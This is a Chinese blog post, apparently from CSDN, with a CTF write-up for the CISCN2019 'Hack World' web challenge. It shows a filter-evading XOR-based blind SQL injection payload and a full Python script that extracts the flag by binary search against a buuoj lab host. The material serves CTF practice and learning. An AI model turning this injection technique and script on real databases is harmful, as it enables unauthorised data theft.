[CISCN2019 华北赛区 Day2 Web1]Hack World

[CISCN2019 华北赛区 Day2 Web1]Hack World

输入1,2会正常的回显,输入空格会返回bool false,而输入其他攻击性的sql语句,会显示
在这里插入图片描述
但是输入1^1可以正常回显
在这里插入图片描述
所以结合sql盲注,输入

1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))

可以正常回显
ps:之前看到有个大佬的

之后菜鸡借鉴了一下大佬的二分代码

import requests                                                                                                                                                                                                                            
import time                                                                                                                                                                                                                                
                                                                                                                                                                                                                                           
url =" http://6848dcc9-35e3-4a89-a9a0-0b96eaa95bd3.node3.buuoj.cn"                                                                                                                                                                         
payload = {                                                                                                                                                                                                                                
        "id" : ""                                                                                                                                                                                                                          
}                                                                                                                                                                                                                                          
result = ""                                                                                                                                                                                                                                
for i in range(1,100):                                                                                                                                                                                                                     
        l = 33                                                                                                                                                                                                                             
        r =130                                                                                                                                                                                                                             
        mid = (l+r)>>1                                                                                                                                                                                                                     
        while(l<r):                                                                                                                                                                                                                        
                payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)                                                                                                                                 
                html = requests.post(url,data=payload)                                                                                                                                                                                     
                print(payload)                                                                                                                                                                                                             
                if "Hello" in html.text:                                                                                                                                                                                                   
                        l = mid+1                                                                                                                                                                                                          
                else:                                                                                                                                                                                                                      
                        r = mid                                                                                                                                                                                                            
                mid = (l+r)>>1                                                                                                                                                                                                             
        if(chr(mid)==" "):                                                                                                                                                                                                                 
                break                                                                                                                                                                                                                      
        result = result + chr(mid)                                                                                                                                                                                                         
        print(result)                                                                                                                                                                                                                      
print("flag: " ,result)         

在这里插入图片描述
成功出现flag

参考链接:
https://blog.csdn.net/weixin_44077544/article/details/102669185

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值